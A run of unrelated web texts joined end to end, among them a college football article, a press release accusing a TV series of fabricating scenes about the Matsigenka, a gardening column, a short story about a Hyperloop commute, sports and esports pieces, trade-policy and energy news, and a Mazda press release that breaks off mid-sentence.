Smith plans to announce his commitment at his high school during the weekend of Aug. 25. He is currently considered a heavy OSU lean, with his home-state UK Wildcats also in the mix.
“First-year OSU quarterbacks coach/co-offensive coordinator Ryan Day explained that the Buckeyes also need to stretch the field horizontally with wide receiver screens, swing passes and other quick throws.”
Depending on how you viewed Ohio State’s offense last season, the above statement might not be exactly what you wanted to hear as the Buckeyes prepare to open their season two weeks from tomorrow.
In 2016, one of the most consistent complaints about the OSU offense was that Barrett didn’t throw the ball deep often enough, and when he did, it was off-target more often than not. As the 2017 season quickly approaches, much of the talk about Barrett’s performance during camp is that he has dramatically improved his deep passing game, which is a relief to many.
However, Day has said that he and fellow new offensive coordinator Kevin Wilson have been spending as much time on the short passing game as the deep.
Day said that they want to use their offensive skill guys in these quick passing situations as an extension of the running game. Day did clarify that this was in an effort to keep defenses on their heels, and prevent them from loading the box, which became a problem last season.
“I just know that with our offensive line and our running back and our tight end and obviously our quarterback, they want to gang up on us,” Day said according to Biddle. “So, in order to operate at a high level we want to make sure we stretch the field both vertically and horizonally (sic).”
STICK TO SPORTSBBC & Travel Channel show ‘staged, false, fabricated and distorted’
August 2, 2011
Matsigenka girls, Peru
© G Shepard/ Survival
A TV series about an Amazonian tribe has been slammed as ‘staged, false, fabricated and distorted’ by experts on the tribe.
‘Mark & Olly: Living with the Machigenga’ was shown on the Travel Channel in the US, and on the BBC last year. In the show Mark Anstice and Olly Steeds lived in a Matsigenka Indian village for several months to show the ‘reality’ of life among the tribe.
But now two experts on the tribe have gone public with a string of highly damaging accusations. Dr. Glenn Shepard is an anthropologist who has worked with the Matsigenka Indians for 25 years and speaks their language fluently. Ron Snell, the son of US missionaries, grew up with the tribe and and is also fluent in the Matsigenkas’ tongue.
A Matsigenka hunter returns with wild pig. © G Shepard/ Survival
Just some of Shepard’s accusations, published in the highly-respected journal Anthropology News, are:
• In order to present a ‘false and insulting’ portrayal of the tribe as sex-obsessed, mean and savage, many of the translations of what the Indians are saying are fabricated.
• Many events presented as real in the show must have been ‘staged’.
• A key scene in the show in which Olly is subjected to painful ant stings, since “according to Matsigenka tradition he must be cleansed” and “endure the ancient punishments” for buying deer meat is denounced by Shepard as ‘fabricated and [with] no basis in ethnography.’
Ron Snell, in an article on his blog, accused the film-makers of ‘paying the Machiguengas to perform for them, saying things the Machiguengas wouldn’t ordinarily say and doing things the Machiguengas wouldn’t normally do.’
After interviewing two of the Indians in the series, Snell reported, ‘Our suspicions were correct. They [Mark and Olly] entered the village on a well traveled path and only veered a few feet off the path to film themselves ‘hacking their way through the jungle.’ They contracted someone to make new cushmas [cotton tunics] so everyone would be wearing one. They staged the whole drama about one of the guys being accepted and the other treated as a lazy outsider…
‘The translator quickly became disillusioned with the whole thing, but kept going because of the money. He is ashamed and embarrassed that he had anything to do with it.’
The series was previously at the centre of a media storm when a scouting expedition for the show was accused in Peru of provoking a flu epidemic among isolated Indians which caused the deaths of four of them. The show was eventually filmed a short distance from this incident.
The Matsigenka were repeatedly mistranslated in the series © Cicada
Cicada, the production company responsible for the series, has made no comment on the accusations.
Stephen Corry, Director of Survival, said, ‘‘Mark & Olly: Living with the Machigenga’ was a depressing example of the way tribal people are routinely portrayed on TV. One stereotype followed another, with the Matsigenka variously portrayed as callous, perverted, cruel, and savage. Is this what the film crew really thought of those whose guests they were? Broadcasters wouldn’t dare to make similarly false claims about other such minority groups: imagine the same descriptions applied to any ethnic minority in the industrialized world. Sadly this is all too common – TV is now getting away with portrayals which wouldn’t be out of place in the Victorian era.’
In response to a worrying trend to portray tribal peoples in a negative manner, Survival is drawing up a code of practice for documentary makers to follow when filming with them.
A background briefing with further examples of mistranslations and inaccuracies in the show is available to download here.
Note to Editors:
1. The tribe’s name is today usually spelt Matsigenka. Previously, Machiguenga was more common. Machigenga, as used in the Mark and Olly TV show, is incorrect.
2. Dr. Glenn Shepard is an ethnobotanist and medical anthropologist who specializes in the indigenous peoples of the Amazon. He has published more than 50 scientific papers and is currently a researcher in Indigenous Ethnology at the Museu Paraense Emilio Goeldi in Belém, Brazil.
3. Ron Snell grew up with the Matsigenka, where his parents were missionaries. He is the author of several books about his childhood there, and still visits the area regularly. He is now the director of a homeless people’s shelter in Nebraska, USA. His mother, who has also watched the series and corroborates the accusations, is the author of a 900-page Matsigenka dictionary.
4. A longer version of Dr. Shepard’s article can be found on his blog: ethnoground.blogspot.comMore than 40 years ago, my parents went to Hawaii and returned with what looked like three coffee beans, each sporting a little orange mustache.
They were bird of paradise seeds, brought back to Minnesota for this fledgling teenage gardener. Clueless, I stuck them in some soil and waited months before a tiny green spear popped out of the little pot.
In the decades since, that now 5-foot-tall plant has been dragged from the Twin Cities to rural Minnesota, North Dakota, back to the Twin Cities and to Connecticut before it returned to Minneapolis to stay. It’s proof that ignorance is no barrier to growing tropical plants in cold climates year-round.
That said, having a plant survive and having it thrive are different things. My bird of paradise never flowered until I began setting it outside in a protected sunny spot during the summer. Now, I get four or five exotic blooms on the plant between February and May each year.
Wintering over tropical plants indoors means offering just enough care — or sometimes neglect — to nurse them through the chilly months so they can burst into full glory again the next summer.
Indoor habitat
Bird of paradise
Tropical hibiscus, jasmine, bougainvillea and small citrus trees will do quite well indoors if they’re in a bright spot where temperatures are at least 60 degrees. All of these plants need a gradual transition to the reduced light of the indoors. Water sparingly and don’t fertilize — the plants want to rest during the short days of winter.
Make sure you’ve checked the plants for pests before moving them indoors. It’s a good idea to isolate outdoor plants in a basement or other secluded spot for a few days, washing both sides of the leaves with a weak solution of dish soap in warm water before moving them to their winter home.
Don’t be surprised if leaves yellow and drop. Hibiscus often do this. Prune the plant back, and it will bounce back in the spring when the days get longer. Watch the plant carefully for signs of aphids, white fly and scale, which may pop up suddenly even after the plants have been inside for a while.
One thing to remember is that if you intend to winter over a tropical plant, make sure it stays in a pot that’s small enough to easily move inside. When it’s growing outside, you can bury the entire pot in the ground or in a larger pot as part of a group planting.
I was reminded of this lesson last year when I bought a beautiful banana plant with purple stippling on its leaves, unpotted it and added it as an accent in a big outdoor pot. The plant tripled in size over the summer and, as I feared, by the fall it was impossible to remove the plant from the pot intact.
Had I kept the banana in its own pot, I could have overwintered it in a cold, dark basement room where it would have gone dormant, and I could have repotted it in the spring for another summer of growth.
This page at Gardener’s Supply Co. answers many questions about overwintering tropical plants:
gardeners.com/how-to/how-to-overwinter-tender-plants/5019.html
Worth the fuss?
Sometimes the fuss of wintering over a tropical plant just isn’t worth it. After many years of spotty results with a sulky blue agapanthus, I gave it to a friend who was willing to invest more time in it than I was.
I also have a lemon tree that flowers in the spring but pouts for much of the summer. I don’t have a good spot in the house that’s both sunny and warm in the winter, and if it doesn’t bear fruit soon, I’ll give that away, too.
As for the bird of paradise I received so many years ago, the plant means too much to me to be dumped; during winter it is perfectly happy growing under a shop light for a few months in my chilly basement.
To prevent it from growing too big and heavy for me to lug up and down the basement stairs each spring and fall, I divide its fat root ball with an ax every few years. The divisions go to friends and acquaintances.
A couple of years ago, two of the divisions headed south to Florida, where another Master Gardener gave the plants to her daughter. I smile thinking that those little seeds I planted decades ago in a pot on my bedroom window sill in Bloomington have spawned descendants that are scattered around the country.
I won’t be giving up that plant anytime soon.
Mary Jane Smetanka is a Minneapolis freelance writer and Master Gardener.His mobile blooped at him with one of those noises a company spent money to get. A timer started on the screen as he rushed to put his shoes on. He finished and pushed open his door, running down the stairs two to a bound. By the time he reached the bottom of the stairs he had his backpack slung over both shoulders, which he mentally cursed himself for since he’d just have to take the dang thing off again.
It was morning on January first, and he was due at his parent’s house for a new year’s dinner fifteen hundred miles away. He should have booked a plane weeks ago, but now the Loop was his only option. The Loop didn’t really have peak rates, and while the plane would be a little faster, more direct, and cheaper IF he had remembered to book it in time, the Loop would take him the same distance today. Plus, the seats were comfier. They reclined nicely, and he intended to nap on the way. Hopefully, by the time he got there, the bleariness from last night’s celebration would be undetectable by parental senses.
He locked the door to his apartment complex, a reassuringly square assembly from the seventies, and walked to the sidewalk where a friendly light blue car waited for him. When he got close, his mobile vibrated and made another distressingly cheery noise. The doors of the car swung open opposite of each other to expose the space inside. The car displayed two rows of inward facing bench seats, a panoramic row of windows around the entire perimeter of the vehicle, and… yes, his nose was telling him before his eyes fixed on it, a very unsettling amount of vomit in the center of the floor.
He turned around, a bit squeamish, and took out his mobile. He navigated through the controls. Where is the menu option? What year is it now? Why is this still hard? Three awkward menus deep and he finally found and selected the option to let the dispatch know the car had an issue which made it uninhabitable. The car immediately began to chirp warnings and the doors soon started to close. In a moment, a human somewhere in the city would be looking at a video of the inside of the car, determining him a liar or not. As expected, a few seconds later, the little car began to drive off. The lights on the rear of the car turned from bright red to the yellow amber of headlights as it decided its front would be its back. It drove off to the dispatch center for cleaning and repair. Someone would be eating a 100 dollar cleaning bill today. He didn’t feel sorry for them.
His phone began to vibrate. He picked it up to answer a call from a bored customer service representative who was trying hard to sound earnest. “Sorry for the trouble sir, the ride today will be free. We have another car on its way”
“No big deal,” he laughed, “Someone partied a little too hard last night, you know?” He was picking up on a slight bleariness in her voice as well.
“Thank you for your understanding sir.” She said goodbye.
Ten minutes later, he mentally patted himself on the back for precognitively putting his backpack on after all, another little square car drove up. Its doors opened, splitting an advertisement for a phone in half. This one proved to be spotless. They must have dispatched one right out of cleaning to make sure, and he got in. When the car registered his seat belt clicked, a cheery voice let him know how thankful its company was that he chose them to drive him to the Hyperloop terminal.
The ride was comfortable, but he had picked what he thought would be a forward facing seat based on the direction the car came from. It ended up being a rear facing seat, which was making him nervous in the stop and go city traffic. The car protested as he undid his seatbelt and switched sides, but let it go as he clipped in on the other side. An advertisement started to play in the car. He subconsciously reached up, and hit the mute button. Wasn’t there a big media thing a while back about how much everyone hated the new ads? He took out his mobile, and caught up on his social media for the rest of the ride.
The car blooped another expensive chime at him as he felt it slow down. He put down his mobile and looked out the window to see that he had arrived at the Hyperloop terminal. The terminal was still relatively new, though the chewed gum and scuffed steps were starting to make their mark on the previously flawless façade. He looked up at the animated overhead signs, and noted a section of security lines that seemed to have the lowest wait time. He started off in that direction.
A few minutes later he was handing his ID to a man in a uniform who was doing his best to give individually tailored distrusting looks to every person. He dropped his bag on the conveyor, and held his hands up through the scanner. In a moment, he was walking through the terminal to his assigned capsule.
He got to his gate. Another man in a different uniform took his ticket and bag. He looked at the capsule in front of him. It was raised slightly above the ground to make it easier to get in. This was one of the capsules that supported ADA customers, so a ramp led to the front of the capsule where there were no chairs. Currently a passenger in one of those increasingly common standing wheelchairs was lowering to a sitting position and being strapped in by an attendant.
Focusing, he walked up to his row and noticed a man was sitting in the seat in front of his. He apologized and asked the man to get up. This was a little effort for the man, as a person kind of had to fold themselves into the Hyperloop chairs. It made for a comfortable ride, but people definitely used the hand grips provided. The man stood out of his way, and he folded himself up into the vacated seat, and then did a little hop scoot across the small aisle into his seat. He folded the armrests down as the man got back into his chair. He looked around, and noted with relief that nothing was broken or dirty around him. He had one trip where the screen in front of him was broken, and another where someone had left one of those disgusting spit bottles for chewing tobacco in the seat pocket. The attendant came and took it away, but it was still gross.
He zoned out for a bit, and came to when the doors started to close. The screen in front of him jumped to life, and began to give him the safety briefing. In the event of a stop something something. It’s against federal law to be a big jerk in a confined space. Everyone’s on camera so don’t be bad. The door closed all the way, making a low ratcheting noise as the cabin sealed tight. If it’s vomit time something something bag is in the seat pocket. The briefing went on for a bit, covering up a low vibration as the capsule began to move into its vacuum lock.
A mechanical hum could be heard as the vacuum was turned on around the capsule. The screen felt the passengers were safe enough, and began to show information about the trip. Seven hundred miles in an hour. The capsule’s lights dimmed briefly as the vehicle moved to internal power. No delays expected. He heard a clunk as the next door opened in front of the capsule. It showed a map, and then he felt the vibration of the rollers moving the capsule into place. He remembered how smooth they were when the station opened. Carrying a couple million passengers will do that to any system.
If it could be seen from the outside, the first part of the journey would be very much like a roller coaster ride at an amusement park. The capsules were rolled out of their bays and rolled forward to wait their turn at the linear accelerators. On the inside, the capsule bumped and rattled a bit. Disenchanted people began to get seriously involved in their mobiles and computers. He did the same as the screen in front of him showed the wait time until their turn.
Another computer voice started talking as their capsule was positioned above the linear accelerators after being fed through another set of locks. He could hear the turbine fire up, and a subtle vibration carried all the way through the craft. The computer voice warned about some acceleration as the electrical hum continued to build up. The accelerators fired, and then he could feel it. He was pushed back against his seat, not uncomfortably, but also not much differently from a take-off in an airplane. The screen helpfully showed how fast they were going, and began to humbly brag about all the time he was saving by choosing the Hyperloop.
Once they had reached speed, the screen began to show live camera footage of the outside landscape. It was kind of jarring at first, as the perspective would shift in and out as they reached new pylons, but it was cool and certainly made the capsule feel less claustrophobic. He tapped the screen a few times and got it to dim a bit. He was still hung-over, so he put his jacket over his eyes and went to sleep.
He felt the capsule come to a slow down. Next the turbine whined down and he felt the moments as the craft was fed into the receiving locks. Roller vibration started again, and he started to rearrange his things. Time to transfer. The capsule vibrated a bit more until a final clunk. A woosh and another round of light dimming signaled their docking. He disinterestedly listened to the computer voice thanking him for his patronage as the door opened, and he waited his turn to do another hop scoot across the aisle and exit the capsule.
He nodded at the attendant, and walked over to the small conveyor beside the capsule loading area. He could see his bag being unloaded by a man feet away from him, but figured the belt just helped keep the guy un-harassed by a build-up of impatient people after each unloading. He took his bag and walked over to the next assigned terminal.
He woke at the other end, an hour’s nap later. He had a loading side seat this time which was way more comfortable to get out of. He stretched, looked around, got his bag again, and headed for the bus terminal. His parents lived too far away to make an automatic car rental affordable, and their town was still small enough that people drove their own cars. His parents couldn’t come pick him up so he had booked an automatic bus to the next location.
He found his bus. There was still a driver standing outside, but he wouldn’t be doing much driving. It was just a legal requirement for vehicles of a certain size to maintain a driver. The AI’s had a bad track record from their earlier implementations for trying to drive large vehicles through streets too small for them. The problem was fixed now, but it would be a few years before trust was rebuilt. The driver checked his ticket and put his luggage underneath. He got on the bus and took a seat behind the driver with what he hoped would be a nice view.
The bus driver announced their destination, and then pressed a button on his computer. The steering wheel in front of him recessed slightly to make it clear who was in charge, and the bus got on its way. Thirty minutes into the drive he smiled a bit as he saw the driver was immersed in a phone game. It was definitely illegal, but he’d ridden on the buses tons of times and wasn’t too worried. It wouldn’t be long before these guys were all just attendants anyway.
Another hour and a nap later, he was feeling good as new. He got off the bus, and walked over to a bench where he sat to wait for his parents. It was about four-ish hours from when he had started, and he had made a trip of about 1500 miles. As he sat, he watched the surroundings as the sun began to think about noon. The bus driver finished his inspection, and got out, strolling over to the employee break room. A few moments later, the bus hissed and rose to its full height. It drove off to the charging station at the other end of the depot. He guessed they both were a little hungry.
Some time later a new car pulled up in front of him. He was surprised to see his parents get out of it. They hugged him. His father took his bag from him, and put it in the trunk as he started to brag about their new car. They had gone on a road trip with their friends who owned an automatic car last summer. After seeing their friend, illegally, take a nap an hour into the trip, they decided they had to get one for themselves. Oh well, he couldn’t blame them, though he’d miss their old car. He liked the way the engine sounded. The electrics just didn’t have the same charm.
He was proudly ushered into the front seat of the car. The car swayed slightly from side to side as his mom and dad got in. His dad told the car to go home, and then smiling, did a little dad joke about driving with no hands.Retail giant Walmart is not too happy with a picture of a horse posted online, and has issued a cease and desist letter to the creator of the site.
The website in question is walmart.horse, which consists of nothing but a picture of a horse superimposed over a picture of the front of a Walmart store – and despite the fact that most people would get a chuckle out of it, Walmart doesn’t find it amusing at all.
Cartoonist Jeph Jacques, creator of the Questionable Content webcomic, told Ars Technica that the site was the result of his interest in the latest batch of TLDs (Top Level Domains). Instead of the more common.com or.net that most websites use, TLDs use extensions such as.dog or.running to reflect special interests.
“The idea behind the site started out as a conversation with a friend of mine — we were extremely amused by the new.horse TLD and decided to register a bunch of ridiculous domain names with it.”
For the walmart.horse site, Jacques photoshopped a picture of a horse onto a picture of the front of a Walmart — both pictures that he said he found on the internet as public domain images. He calls it “postmodern Dadaism – nonsense art using found objects.”
“Its purpose is to provoke exactly the kind of response it has received, and in doing so to parody the Walmart corporation and its actions,” he said. “Claiming that walmart.horse defames the Walmart brand somehow is the highest possible satire, and the fact that this accusation came from Walmart itself is a most delicious piece of irony.”
According to the Toronto Star, Jacques wasn’t even sure if Walmart would notice the website, but apparently the corporation did. And although no one searching for Walmart’s site online would have any reason to add the.horse extension, the retail giant is claiming that Jacques is breaking the law by infringing on their domain.
Jacques received a cease and desist letter from Walmart last Sunday stating that his use of the Walmart name in the web address “constitutes trademark infringement and dilution of Walmart’s trademark rights and unfair competition.”
“The Domain Name incorporates the well known Walmart mark in its entirety, and, by its very composition, suggests Walmart’s sponsorship or endorsement of your website and correspondingly, your activities.”
Jacques replied to Walmart that his site is an “obvious parody” and his use of the domain name and image falls under fair use laws.
“Publicly available images of a horse, a Walmart store, and comical music make it clear that the site is meant to be a joke. I would be happy to provide a disclaimer on the website explicitly stating this. If you have any requests for other animals you would like to see added to the image on the website, I would happily comply!”
Walmart has not publicly commented on the site |
Which brings us clumsily to Manchester United, who apparently aren't ignoring it.
Tottenham laughter at suggestions that United want Pochettino has an anxious edge because, despite the clubs' opposing trajectories, there's a hierarchy and United remain above Spurs.
In this case, however, position in the food chain shouldn't be enough alone, because it's difficult to guess what Pochettino would gain by swapping London for Manchester.
More money? Yes, but Pochettino is due a new contract at Spurs and given his work he can demand a significant pay-rise from club chairman Daniel Levy.
A significantly bigger transfer budget? Yes, but Pochettino has repeatedly stressed that his "philosophy" is not to sign new players, but to promote from the academy, a policy at odds with Ed Woodward's brand-building Galactico-desires.
A better squad? No. Pochettino is a striker, a centre-half and a defensive midfielder away from having a Spurs squad wanting for nothing, whereas United's is as mismatched as any in the Premier League.
A better structure? No. Pochettino recruited Paul Mitchell from Southampton as Spurs' head of recruitment and has great faith in academy chief John McDermott, a gruff Yorkshireman who rejected the chance to move to United last month. United are still looking for their McDermott and have no effective link between the manager and Woodward.
Under Mauricio Pochettino, Tottenham are poised to reach the Champions League for the first time since 2010-11.
Better prospects? Not really. Spurs have a reputation as a selling club but there is nothing to suggest that their gems will leave this summer. Eventually Kane and Alli may be lured to Real Madrid, but so was Cristiano Ronaldo. In the immediate future, Pochettino can look forward to his young squad getting even better -- a frightening prospect for the rest of the Premier League.
There's also the likelihood of Champions League football next season, while United slog it out in the Europa League. There is also the construction of a new stadium to rival the finest in the world and boost Spurs' global reach and brand (areas where United are significantly ahead, admittedly).
Pochettino is ambitious and he jumped ship at Southampton at a similar stage. Only after Pochettino's recruiter, former Southampton chairman Nicola Cortese, had departed did it become clear that Saints' squad was facing decimation. Pochettino's Spurs may be contenders for the title, but his project is unfinished and at United he would have to start from scratch, using time and transfer windows to rid the squad of the unwilling and unable, while instilling his methods.
While Jose Mourinho remains the front-runner, Pochettino is a great fit for United. After the appointment of David Moyes, Sir Bobby Charlton, the embodiment of United's values, said the club had "secured a man who is committed to the long-term and will build teams for the future as well as now...and recognises the importance of bringing young players through and developing them alongside world class talent."
That describes Pochettino to a tee. The Argentine frequently says he is working for both the future and the present, and has spoken of his "perfect mix" of youth and experience at Spurs.
Pochettino at Old Trafford would be fascinating: Would he spend? Would he discard Wayne Rooney? Yet while Tottenham remain the smaller fish, they are swimming faster and more gracefully.
Pochettino should chose football over finance, and stay put.
Dan is ESPN FC's Tottenham correspondent. Follow him on Twitter: @Dan_KP.PANAJI: Deputy chief minister Francis D’Souza on Friday added to the controversial statement of his cabinet colleague cooperation minister Pandurang ‘Deepak’ Dhavalikar when he offered his own take on ‘Hindu rashtra’, saying all Indians are Hindus and that he was a Christian Hindu “India is a Hindu nation. There is no doubt about it. It is always a Hindu nation and it will always stay a Hindu nation. You don’t have to create a Hindu nation,” D’Souza, CM Manohar Parrikar’s deputy, said.Asked to elaborate, D’Souza said, “India is a Hindu country—Hindustan. All Indians in Hindustan are Hindus, including (me) I am a Christian Hindu, I am Hindustani. So you don’t have to make it a Hindu nation; it is a Hindu nation. So there is no question of making it a Hindu nation.”Asked about the recent statement on pubs and bikinis by PWD minister Ramkrishna ‘Sudin’ Dhavalikar, the elder brother of Pandurang, D’Souza said people are free to make controversies out of anything. “It is a free country, it is a democracy. The right to freedom of speech and expression is there. He is free to express his opinion. I am free to express my opinion. But India is an inclusive democracy,” D’Souza said.Troubled by continued secrecy in the Trans-Pacific Partnership (TPP) Free Trade Agreement, over 400 civil society organizations representing more than 15 million Americans have written to Congress urging that Fast Track be replaced by a more democratic trade negotiating and approval process.
Led by Citizens Trade Campaign, more than 100 national organizations, including those representing labor, environmental, family farm, consumer, faith, public health, Native American and human rights constituencies, in addition to to nearly 300 regional, state and local organizations, sent a letter to Congress on March 4th outlining shared expectations for 21st Century trade agreements and urging an end to Fast Track and support for an alternative.
“A broad array of organizations have been following the Trans-Pacific Partnership closely, and are unhappy with the direction in which the negotiations are heading,” said Arthur Stamoulis, executive director of Citizens Trade Campaign. “Handing the executive branch Fast Track powers to rush the TPP through Congress, as some corporate lobby groups are pushing, would abdicate Congress’ constitutional authority and real-world leverage to set the terms of U.S. trade policy. We want Congress to replace Fast Track with new procedures that allow for greater oversight and public participation, so that trade agreements can become a tool for creating a more just and sustainable global economy.”
The letter includes eight broad categories that the TPP, a Trans-Atlantic Free Trade Agreement and any other U.S. trade pact must address in order to improve quality of life for Americans and people throughout the world: (1) prioritization of human and labor rights; (2) respect for local development goals and the procurement policies that deliver on them; (3) no elevation of corporations to equal terms with governments; (4) protection of food sovereignty; (5) maintaining access to affordable medication; (6) safeguards against currency manipulation; (7) space for robust financial regulations and public services; and (8) improved consumer and environmental standards.
The letter also outlines ways to increase public participation and Congressional oversight in trade policymaking through replacement of “outdated and extreme procedures like Fast Track.” Fast Track, sometimes called “Trade Promotion Authority,” is a Nixon-era trade agreement negotiating and approval procedure that delegates Congress’ exclusive constitutional authority to “regulate Commerce with foreign nations” to the executive branch and enables trade pacts to circumvent ordinary Congressional review, amendment and debate procedures. The President’s 2013 Trade Policy Agenda, released on Friday, March 1, indicates that the administration intends to request new Fast Track legislation from the Congress.
“As the TPP enters its sixteenth major round of negotiations this week in Singapore, the Obama administration still refuses to tell the American public what it has been proposing in our names,” said Stamoulis. “This is a rollback in transparency, and an extremely undemocratic way to craft policy that is likely to influence jobs, health care costs, financial regulations, consumer safety, the environment and more for decades to come. The only way to prevent the public from being saddled with a bad agreement is for Congress to exert its authority.”
The letter points out that the United States joined with 33 other countries in releasing draft text of the Free Trade Area of the Americans in 2001, and that draft texts within the World Trade Organization are frequently made available to the public.
TAKE ACTION: Urge Congress to oppose Fast Track for the TPPCounter-Strike is a game on which we are present since the beginning, and we always supported the scene the best we could. Of course, our journey couldn’t stop with the end of the White & Blue era. The year with those two team was very special to us and we’ll keep great memories of it. However, today is a new start, and we are proud to officially announce our new line up.
First, to manage this team we decided to continue with our coach Emmanuel “MoMaN” Marquez. The work he did last couple of years is admirable and we think he will be great with this new team.
This time, MoMaN will manage a veteran of the CS scene : Kévin “Ex6TenZ” Droolans. After all his years in Verygames, Titans and G2, his task is now to carry talented players and lead LDLC to the top.
Here I am, involved in a new project : moving from top to subtop, joining 4 young and talented players in LDLC. It’s a big challenge and I don’t know what will happen. Even if a kick is never a good news, I think I needed something different at this point of my career, some fresh air… And I always enjoyed playing with young players. Usually, it was 1 ou 2, but today it is 4! It’s a big challenge, the unknown, but one thing will never change : I will give my best for the team. Kévin “Ex6TenZ” Droolans
Also, we chose to trust a promising talent in LDLC : Alex “ALEX” McMeekin, from Platinium. We let the Platinium manager Khai “Cobra” Nguyen express himself about the ALEX transfer :
Alex is little known but I guaranty that this man has all the characteristics of a great player and a lot of human qualities, may Ex6tenz refine his abilities and develop his potential to its climax. Alex leaves us with tears but to a new, intense and full of surprises horizon. I would like to thank Marty, the manager of LDLC, which professionalism towards Platinium testifies a deep respect, and reflects a fraternal and professional image of esports. We are opponents in game but friends in life. LDLC and Vakarm permitted to express my happiness about Alex, so thank you all. Khai “Cobra” Nguyen
Finally, the rest of the team is well known from our fans: Charbel “BouLy” Naoum from LDLC Blue and Antoine “to1nou” Pirard & Matthieu “matHEND” Roquigny from LDLC White. Those three are very talented and we hope that they will shine under Kévin’s direction.
Unfortunately, like you maybe have already seen, the two years journey with my mate is over, it’s a ending for us, but a new one is starting now. I think the project is very interresting on paper, and having Ex6TenZ as a leader will let us pass a milestone, with our individualities but also as a team. I can’t wait to be confronted with the best teams and maybe take a place in the world elite. Even if the road is long, I really trust this project. I wanted to apologize to Simon (Fuks), this choice was really difficult for me as I know him for a long time, and if I here today it is partly because of him, and not playing with him in a team, and seeing that he is the only one that has not found a team saddens me a lot. But I think if he has the will, he will find a suitable match and I wish him good luck. Matthieu “matHEND” Roquigny
We hope that you will be pleased by those change like we are, and keep the support!
Composition
Kévin “Ex6TenZ” Droolans
Alex “ALEX” McMeekin
Charbel “BouLy” Naoum
Antoine “to1nou” Pirard
Matthieu “matHEND” Roquigny
Emmanuel “MoMaN” Marquez (Coach/Manager)Canadian gas producers face grim prospects with lower-than-expected Asian demand, slower oil sands growth and increased competition in the U.S. market, the International Energy Agency says in report issued Thursday.
The Paris-based agency said Asia is not the Mecca for liquefied natural gas (LNG) that producers had hoped.
"One of the key – and largely unexpected – developments of 2014 was weak Asian demand," said IEA executive director Maria van der Hoeven said.
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"Indeed, the belief that Asia will take whatever quantity of gas at whatever price is no longer a given. The experience of the past two years has opened the gas industry's eyes to a harsh reality: In a world of very cheap coal and falling costs for renewables, it was difficult for gas to compete."
The weaker demand and rush to supply the Asian markets have transformed the market from one of "extreme tightness to oversupply."
The agency – which advises rich countries on energy markets – has reduced its forecast for global demand growth over the next five years to two per cent a year from 2.3 per cent.
British Columbia Premier Christy Clark has touted her province's proposed LNG production as a key economic driver, but the IEA said Thursday it doesn't expect any projects to begin production there until after 2020.
Global LNG export capacity is due to increase by more than 40 per cent by 2020, with 90 per cent of the additions coming from Australia and the United States, it said. Lower oil prices pose little risk to the timing of projects already under construction.
At the same time, Canadian gas producers have lost considerable ground in their traditional export market in the U.S. Northeast, and face growing competition from U.S. shale gas in the American Midwest and eastern Canada.
"For Canadian production, the main issue is how fast and how competitively U.S. Northeast gas can penetrate the Midwest market (which accounts for about a quarter of total U.S. gas consumption) and possibly Central and Eastern Canada," the IEA said. "Further displacement seems likely when judging from the pipeline of new projects."
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As well, the slump in oil prices has meant a reduction in capital expenditures in the oil sands, slowing the growth in demand for gas that is used in steam-assisted, gravity-drainage projects.eton7410 Profile Joined December 2009 Canada 261 Posts Last Edited: 2011-10-23 22:27:56 #1
On October 20 2011 15:38 Ryo wrote:
Some pictures from Flash's rehabilitation at Phoenix Park JDI Centre yesterday. Many professional sportsmen go there for rehabilitation or training.
Fomos (Check out Flash's guest room. You can also see his scar in the last pic):
http://www.fomos.kr/board/board.php?mode=read&keyno=120799&db=issue&cate=&page=1&field=&kwrd=
Dailyesports (more under spoilers below):
+ Show Spoiler +
Some pictures from Flash's rehabilitation at Phoenix Park JDI Centre yesterday. Many professional sportsmen go there for rehabilitation or training.Fomos (Check out Flash's guest room. You can also see his scar in the last pic):Dailyesports (more under spoilers below):
Flash has taken off the cast on his arm. He says that although his arm still feels stiff right now, he is starting to control weight and recovery. He hopes that next time fans meet him he will be in a fully recovered shape.
Flash also says, "At the beginning, my arm was stiff and I were not able to hold my mouse. It even hurts me a little, but I am doing my hardest to recover and remaintain a good physical and psychological shape."
Flash's recovery massage therapist says that It will still take one to two weeks or even a month for Flash to recover depending on Flash's condition.
PIC:http://www.plu.cn/d/file/sc/note/2011-10-05/384f962205f66272a06e715ece3d0663.jpg
(cant link fomos)
Update on Flash's arm:
On Coach Lee's twitter: Flash will be out of the hospital tomorrow. I brought a pizza for him. He likes it really much. His wrist condition is very good right now and he is in a good mood. He wants to play starcraft as soon as possible. Fans dont need to be worry. This is a picture of his wrist:
If the recovery is good, Flash can get out of the hospitial in three or four days. UPDATE:Flash has taken off the cast on his arm. He says that although his arm still feels stiff right now, he is starting to control weight and recovery. He hopes that next time fans meet him he will be in a fully recovered shape.Flash also says, "At the beginning, my arm was stiff and I were not able to hold my mouse. It even hurts me a little, but I am doing my hardest to recover and remaintain a good physical and psychological shape."Flash's recovery massage therapist says that It will still take one to two weeks or even a month for Flash to recover depending on Flash's condition.PIC:http://www.plu.cn/d/file/sc/note/2011-10-05/384f962205f66272a06e715ece3d0663.jpg(cant link fomos)Update on Flash's arm:On Coach Lee's twitter: Flash will be out of the hospital tomorrow. I brought a pizza for him. He likes it really much. His wrist condition is very good right now and he is in a good mood. He wants to play starcraft as soon as possible. Fans dont need to be worry. This is a picture of his wrist:If the recovery is good, Flash can get out of the hospitial in three or four days. Live English Caster of Korean BW SceneShow full PR text
• Inside of Mazda Museum in Japan now on Google Maps Street View• The moving history of Mazda available online• Exploration of current Mazda models, technologies and futuristic conceptsLeverkusen, 14 March 2013. Mazda Motor Corporation recently introduced a new service to its Mazda Museum in Hiroshima, Japan and is now offering a virtual tour of the main exhibition areas via Google Maps Street View*. This is a new and unconventional way for visitors to experience the Mazda spirit as well as its technological breakthroughs and heritage.The easiest way to access the virtual Mazda Museum is by going to Mazda's global website at www.mazda.com/mazdaspirit/museum/. At the Museum Guide, visitors can tour five areas of the museum – the Entrance Hall, the History and Future areas as well as the Technology and Rotary Engine exhibits – by clicking on the appropriate Google Street View link. They are taken into the museum itself for a near-reality experience with the possibility to turn in any direction and even come close enough to a few of the text-displays to read them.The History exhibit lets visitors explore some of Mazda's most legendary cars like the amazing Mazda Cosmo Sport (110S) from the 1960s, RX-7s from the 1970s and 80s, and the original MX-5 roadster that went on to become one of the most popular two-seat sports car in history. (Direct Link: http://goo.gl/maps/JtEC3 At the Technology exhibit, Mazda displays its new technological approach "SKYACTIV" which is currently under the hood of Mazda's new generation of award-winning SKYACTIV Technology vehicles, Mazda6 and Mazda CX-5. (Direct Link: http://goo.gl/maps/oYrbd "A visit to the Mazda Museum is a must for anyone who loves cars," said Wojciech Halarewicz, Vice President Communications, Mazda Motor Europe. "For people interested in 